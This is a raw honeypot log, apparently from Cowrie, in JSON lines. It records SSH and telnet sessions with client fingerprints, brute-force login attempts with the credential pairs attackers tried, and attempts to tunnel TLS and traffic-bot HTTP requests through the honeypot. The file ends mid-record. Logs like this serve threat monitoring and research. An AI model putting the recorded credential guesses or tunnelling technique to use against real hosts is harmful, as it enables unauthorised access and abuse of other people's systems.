{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\x82\\xacz\\xd0S}N*KOc\\xc1\\x83o\\xe3L\\xe0M]PE\\xf9\\x81\\x92\\x84hw\\x1c\\xde`p k\\xb7WF\\x9f\\x16E\\x88\\x85\\xb8\\x9a\\x8a\\x15\\x99\\x158v#H\\x1a\\x0c\\x08e\\xb7\\xc8k\\xd4U\\x9d\\x13l@\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6J\\x0e\\xc8\\xa5\\x0e\\xc8I\\x03\\xf9\\xc8K\\x0eo_\\x01\\x9d\\x04\\x9cJ\\xa3\\x97\\x1f\\xeeV|Wi\\x12L\\x8fF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03%\\x82\\xacz\\xd0S}N*KOc\\xc1\\x83o\\xe3L\\xe0M]PE\\xf9\\x81\\x92\\x84hw\\x1c\\xde`p k\\xb7WF\\x9f\\x16E\\x88\\x85\\xb8\\x9a\\x8a\\x15\\x99\\x158v#H\\x1a\\x0c\\x08e\\xb7\\xc8k\\xd4U\\x9d\\x13l@\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb6J\\x0e\\xc8\\xa5\\x0e\\xc8I\\x03\\xf9\\xc8K\\x0eo_\\x01\\x9d\\x04\\x9cJ\\xa3\\x97\\x1f\\xeeV|Wi\\x12L\\x8fF\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:16.812630Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:17.168204Z","src_ip":"123.27.168.40","session":"418db3c56965","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:18.473598Z","src_ip":"173.208.188.210","session":"e06063fac634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.46260714530945,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:18.490346Z","src_ip":"128.199.8.54","session":"448c41ea9d16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.12125825881958,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:23.465197Z","src_ip":"128.199.8.54","session":"59827a7b83e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":37272,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e561ffbef6","protocol":"ssh","message":"New connection: 103.122.221.179:37272 (159.203.135.109:22) [session: 53e561ffbef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:24.626874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:24.631846Z","src_ip":"103.122.221.179","session":"53e561ffbef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:24.888822Z","src_ip":"103.122.221.179","session":"53e561ffbef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171bezxonz","message":"login attempt [root/171bezxonz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:25.660122Z","src_ip":"103.122.221.179","session":"53e561ffbef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":50683,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d03bd2978e9","protocol":"ssh","message":"New connection: 123.27.168.40:50683 (10.17.0.5:22) [session: 3d03bd2978e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:25.985909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:25.990333Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:26.223029Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:26.918859Z","src_ip":"103.122.221.179","session":"53e561ffbef6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:27.309649Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:27.670901Z","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:27.811185Z","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.191501Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13G35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MzlkdHdLT0Akd1A0UlVFbQ%3D%3DTPiho7HlMRacg2URmk9wXPFnKx12gHHQg7hnFWtrX39LikqWpfYBJ2Rhd6mfFbUnWWmK3yJ%2BpjNBgPWLuw0VVaT5ujVqt%2F87UY8qrbDafjhKSuRZxuQHanjhMu6iGL4%2BcR47bXUrrwYTSijXEOcc0N9Y6j%2BC8IE1vf%2B87uSS3k7gLklAoQGIGhfKE2OfglHzRDUrrZJuQuptuDyW5l39bgdg9zRz8q0ATuhbxhGQGcqD6QIQtWEW4RfBB9WP996amykTi%2B198c4HOV2UV9fO439N1QeEoprHREyv3ErcaNNRhhp8k91EW5yPO1C48%2B0iGRuoMnICb1jloljNCbgC7TolGBslCTt2AujOnG8UH1aVJeILn0g%2B6F%2BRcxavy1NnD7dGnk3HiqhgsFUY7%2B5IHv7MXxh2IcoQS7V16DrDI6fABF5UKG%2ByGcwGRGJIE8ze83bjOzQnxxSq4wxmJPpPmkmF0f3zps1b9dihvdbOHjDGY0kkQDobcSBU8%2Bo8zPHuNPxTokxKCOTHz6myhXeVnf4PtaWbk5rS4lEAgkcN0KzDkPDJAcy1htL4mHEWUOWWRaGgLeeBLx9WMSXo8MoK%2BhQwnKzc2APD3W%2BapJe2n%2B%2BOIIUj2ZlnBaWjer2idTwY9VywFSXRzeFKyhrSIhCYT0nOTivh8NPWvbwLF00oUfl%2Be2IWjtF5KDsD%2BYRUavasq2JD1Tgi4LL8RjymSLm5jo33GTjUC7HxVaivKkxTRWORH92a9UVgOmeJeYsjTD%2BbayRAvHHT0O0aN30kF14pCYj%2B5n9KwnQSRkkmh90Nsf85EQgeP2rLvJ6qmmOm8RJbpUaovQK1hpGhxt%2FyyqRInqA9I6F1kxJNk9Ov9WpHhR7l0grq%2B%2BZiH24QYA8fFLLJAhYmHRsIOc4Wiu4%2FNhA0brX0sIYzx56zQAexJDu3vBTKTm9YFa0%2FzXvILwCc8%2FSaS9Y5yVffusPB37%2BzyebCrgYbLWLcy82f3CvZJr6pPuqNGBHDbmph2oID2qVa9dOUNJr2zj%2BtqU0bRvrquz7ICiY9O76Rh8jEFtVMoa8fFEo%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/88.0.4324.146 Mobile/13G35 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1156\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=MzlkdHdLT0Akd1A0UlVFbQ%3D%3DTPiho7HlMRacg2URmk9wXPFnKx12gHHQg7hnFWtrX39LikqWpfYBJ2Rhd6mfFbUnWWmK3yJ%2BpjNBgPWLuw0VVaT5ujVqt%2F87UY8qrbDafjhKSuRZxuQHanjhMu6iGL4%2BcR47bXUrrwYTSijXEOcc0N9Y6j%2BC8IE1vf%2B87uSS3k7gLklAoQGIGhfKE2OfglHzRDUrrZJuQuptuDyW5l39bgdg9zRz8q0ATuhbxhGQGcqD6QIQtWEW4RfBB9WP996amykTi%2B198c4HOV2UV9fO439N1QeEoprHREyv3ErcaNNRhhp8k91EW5yPO1C48%2B0iGRuoMnICb1jloljNCbgC7TolGBslCTt2AujOnG8UH1aVJeILn0g%2B6F%2BRcxavy1NnD7dGnk3HiqhgsFUY7%2B5IHv7MXxh2IcoQS7V16DrDI6fABF5UKG%2ByGcwGRGJIE8ze83bjOzQnxxSq4wxmJPpPmkmF0f3zps1b9dihvdbOHjDGY0kkQDobcSBU8%2Bo8zPHuNPxTokxKCOTHz6myhXeVnf4PtaWbk5rS4lEAgkcN0KzDkPDJAcy1htL4mHEWUOWWRaGgLeeBLx9WMSXo8MoK%2BhQwnKzc2APD3W%2BapJe2n%2B%2BOIIUj2ZlnBaWjer2idTwY9VywFSXRzeFKyhrSIhCYT0nOTivh8NPWvbwLF00oUfl%2Be2IWjtF5KDsD%2BYRUavasq2JD1Tgi4LL8RjymSLm5jo33GTjUC7HxVaivKkxTRWORH92a9UVgOmeJeYsjTD%2BbayRAvHHT0O0aN30kF14pCYj%2B5n9KwnQSRkkmh90Nsf85EQgeP2rLvJ6qmmOm8RJbpUaovQK1hpGhxt%2FyyqRInqA9I6F1kxJNk9Ov9WpHhR7l0grq%2B%2BZiH24QYA8fFLLJAhYmHRsIOc4Wiu4%2FNhA0brX0sIYzx56zQAexJDu3vBTKTm9YFa0%2FzXvILwCc8%2FSaS9Y5yVffusPB37%2BzyebCrgYbLWLcy82f3CvZJr6pPuqNGBHDbmph2oID2qVa9dOUNJr2zj%2BtqU0bRvrquz7ICiY9O76Rh8jEFtVMoa8fFEo%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.195175Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:17:28.199407Z","src_ip":"123.27.168.40","session":"3d03bd2978e9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\xc8\\xa4\\xcf\\x8bAXh\\x8a\\x93\\xcf\\xd2\\x8ap\\x0e\\xc8\\xdfV/\\xaf\\xa9\\x80\\x8b\\xe1\\xd5_\\x80\\x07\\xc1\\xdc\\x1e\\xc4 \\x07.\\xb4$\\xb5\\xb0\\xe6\\xa3\\x80\\xaan\\xe9?U\\xebv\\x94t\\x91\\x05\\xaf.\\xeb\\xa7\\xe8\\xb3\\x84q\\x0b\"\\x95\\x98\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 U\\xfe\\x9cI%\\xdf<\\x9f\\xb5w\\xc5\\xdd\\xd3\\x85S7\\xaaq\\xee\\x06]h\\xf8`\\xad3\\xfc\\x84T\\x81\\x1b*\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\xc8\\xa4\\xcf\\x8bAXh\\x8a\\x93\\xcf\\xd2\\x8ap\\x0e\\xc8\\xdfV/\\xaf\\xa9\\x80\\x8b\\xe1\\xd5_\\x80\\x07\\xc1\\xdc\\x1e\\xc4 \\x07.\\xb4$\\xb5\\xb0\\xe6\\xa3\\x80\\xaan\\xe9?U\\xebv\\x94t\\x91\\x05\\xaf.\\xeb\\xa7\\xe8\\xb3\\x84q\\x0b\"\\x95\\x98\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 